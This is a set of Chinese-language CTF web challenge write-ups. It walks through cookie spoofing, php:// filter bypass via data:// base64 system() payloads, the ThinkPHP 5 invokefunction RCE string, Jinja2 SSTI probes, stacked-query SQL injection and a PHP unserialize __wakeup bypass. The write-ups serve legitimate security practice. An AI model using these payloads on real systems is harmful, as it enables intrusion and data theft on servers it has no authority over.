一、bugku_web_cookie欺骗:https://ctf.bugku.com/challenges/detail/id/87.html
-
地址栏filename一看为base64,解密为keys.php
-
尝试index.php加密为base64:aW5kZXgucGhw,读取一下,啥也没有
-
观察地址栏,将line赋值为1试试,发现是将index.php按行读取了
-
将index.php读取出来,读读取结果
#cookies欺骗
import requests
php=""
f=open("index.txt","w+")
for i in range(0,100,1):
url="http://114.67.175.224:14875/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
php=requests.get(url)
f.write(php.content)
f.close()
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# isset() 函数用于检测变量是否已设置并且非 NULL
#这是一个php的三元运算符 (条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
#这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];如果$_GET['id']没有被设置,则$id = '';
$line=isset($_GET['line'])?intval($_GET['line']):0;
#intval() 函数用于获取变量的整数值
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
#php header("location: $url")页面跳转
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
- 构造Cookie即可得到flag,注意此时读取的是keys.php
二、xctf_Web_php_include:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5415&page=1
- 发现是一个绕过问题:strstr(a,b)实现在a中寻找b,并返回b及b在a中以后的部分,不区分大小写;str_repalce(a,b,c)在c中寻找a,并将找到的部分替换成b,区分大小写。源代码将php://替换成空格,需要进行绕过
(1)利用函数是否区分大小写,利用php://input伪协议进行绕过,简单说就是获取post数据。
在查看器中找到flag
(2)过滤了php://的伪协议,那就用data://text/plain,使用方法:data://text/plain;base64,xxxx。
<?php system("dir")?>
//base64编码后为PD9waHAgc3lzdGVtKCJkaXIiKT8+,但是浏览器不能识别+,需要进行url编码,编码后为
PD9waHAgc3lzdGVtKCJkaXIiKT8+
PD9waHAgc3lzdGVtKCJkaXIiKT8%2B
获取flag
<?php system("cat fl4gisisish3r3.php")?>
//编码后
http://111.200.241.244:62118/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看页面源代码获得flag
三、xctf_php_rce:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5412&page=1
- 打开题目
- 题目提示有远程执行漏洞,搜索thinkphp v5为php框架,存在远程代码执行漏洞,网上搜一下
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
- 执行一下结果为
- 证明可以执行,接着执行ls指令(在这个过程中有个插曲,就是用hackbar不能得到结果,每次都需要在地址栏把playload重新粘贴一便,执行完一次改想执行的指令就没结果了,还得重新粘一次,奇怪!但是执行完一次,等一会直接该命令是可以的)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
- 搜索flag的相关信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
2.
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
三、bugku_web:simple_SSTI(https://ctf.bugku.com/challenges/detail/id/196.html)
- 打开题目,只有这个提示,发送一个flag的参数,get尝试一下
- 传递flag是什么会显示在前端,post传递一下会报错。于是进行常规操作:右键查看源代码,F12看查看器
- 查一下flask是啥:Flask是一个轻量级的基于Python的web框架,jinjan2是Flask作者开发的一个模板系统,仿django模板的一个模板引擎,为Flask提供模板支持。根据题目提示是一个模板注入
- Jinjan2 基础语法分为三种:{% … %}、{{ … }}、{# … #}
- 尝试payload,页面显示6,注意这里不要用2+3
http://114.67.175.224:17207/?flag={{2*3}};
- 构建paylod
http://114.67.175.224:17207/?flag={{config}};
#http://114.67.175.224:17207/?flag={{config.SECRET_KEY}};
四、XCTF_web_supersql:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
-
sqlmap爆破,不成功,只扫出来数据库名称是supersqli?尝试手工注入
-
题目为suoersqli,明显为sql注入
-
输入1,1’结果如下,说明注入点格式为’1’
-
确认注入格式输入:1’ and 1=1#,由结果显示是对的
-
判断有几列:
1' order by 2#
不出错,说明有两列 -
获取数据库名称:
1' select 1,database()#
,提示进行了过滤,尝试一下能获得什么
-
堆叠查询,用分号分割语句查询
1';show databases;#
-
获取表
1';show tables;#
-
接下来有三种方法解决
- mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler table_name open 打开表格
handler tabel_name read first 读取表格第一行
handler tabel_name read next 依次读取其他行
注意MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号:show columns from1919810931114514
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
- 有两个表格,页面默认查的是words表格?,把1919810931114514和words表格改一下名字,即可查询
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
- 使用mysql预处理语句,进行绕过:MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT,也就是预处理语句,字符拼接函数可以考虑用来绕过关键字检查
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
五、bugku_never_give_up:http://ctf.bugku.com/challenges/detail/id/88.html
- 打开网址
- 右键检查源码
- 访问1p.html,竟然跳转到bugku
- 检查1p.html源代码,由于1p.html会跳转,所以直接地址栏输入访问源代码
- 中间那段有信息,前面部分像url编码,中间像base64编码
- 进行代码审计
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>-->
- 审计6-20行
- 6.<!–";if(!$_GET[‘id’])
- 14.if(stripos($a,’.’))
- 20.if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4)
- 6.限制 URL 查询字符串中必须有非空非零变量 id
- 14.限制变量 $a 中不能含有字符点(.)
- 20.要满足5个条件
①变量 $data 弱等于字符串 bugku is a nice plateform!
②变量 $id 弱等于整型数 0
③变量 $b 的长度大于 5
④字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
⑤变量 $b 的第一个字符弱不等于整型数 4 - 因此,我们可以构造
- id=%00或者id=.或者id=0e1(② 弱等于整型数 0⑥非空非零,于是构造非空非零字符串)
- b=%0012345或者*12345或者?12345或者.12345(③长度大于 5④⑤待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的 第 一 个 字 符 组 成 , 若 令 s u b s t r ( b 的第一个字符组成,若令 substr( b的第一个字符组成,若令substr(b,0,1) = "?"则满足上述)
- a=php://input(用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform!用以满足①)
- 函数简介
函数 eregi()语法:
int eregi(string pattern, string string, [array regs]);
定义和用法:
eregi()函数在一个字符串搜索指定的模式的字符串。
实际应用中eregi函数可以用数组绕过,也可以用%00截断
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
- 构造payload:http://114.67.175.224:15215/=?id=0e1&a=php://input&b=???,再使用bp传入data数据给input得到flag
flag{cc7e3242ec7fb6349fbb523cfb05e15b}
六、 xctf_Web_php_unserialize:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
- 打开网页
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
- 一道反序列化题目,Demo类,对象创建时(new)自动调用__construct,serialize时不自动调用;对象销毁时自动调用__destruct,unserialize时自动调用__wakeup
- Demo初始化改变file值,源码说明flag在fl4g.php里面,__destruct() 说明Demo毁会高亮显示里面的内容。
private $file = 'index.php';
//the secret is in the fl4g.php
function __destruct() {
echo @highlight_file($this->file, true);
}
- Demo中有__wakeup()函数,反序列化时会自动执行,必须绕过该函数,不然由指向了index.php
- 综上需要绕过:匹配函数,__wakeup()函数
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
这里使用get方法传参var,进行base64编码,进行匹配,匹配成功就直接结束了,否则unserialize
7. 匹配函数绕过
- oc:代表这块区域用来匹配o或者c
- \d:代表一个数字字符
- +:代表可以匹配多次
- /i:匹配时不区分大小写
(preg_match('/[oc]:\d+:/i', $var))
- fl4g.php序列化后的结果
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('fl4g.php');
$b = serialize($a);
print_r($b);
?>
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
- 为了绕过匹配,4改为+4
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
- 绕__wakeup()函数,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。将1改为2。
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
- base64编码:
Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
- 将编码后字符传入var参数中,得到flag,提示:$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉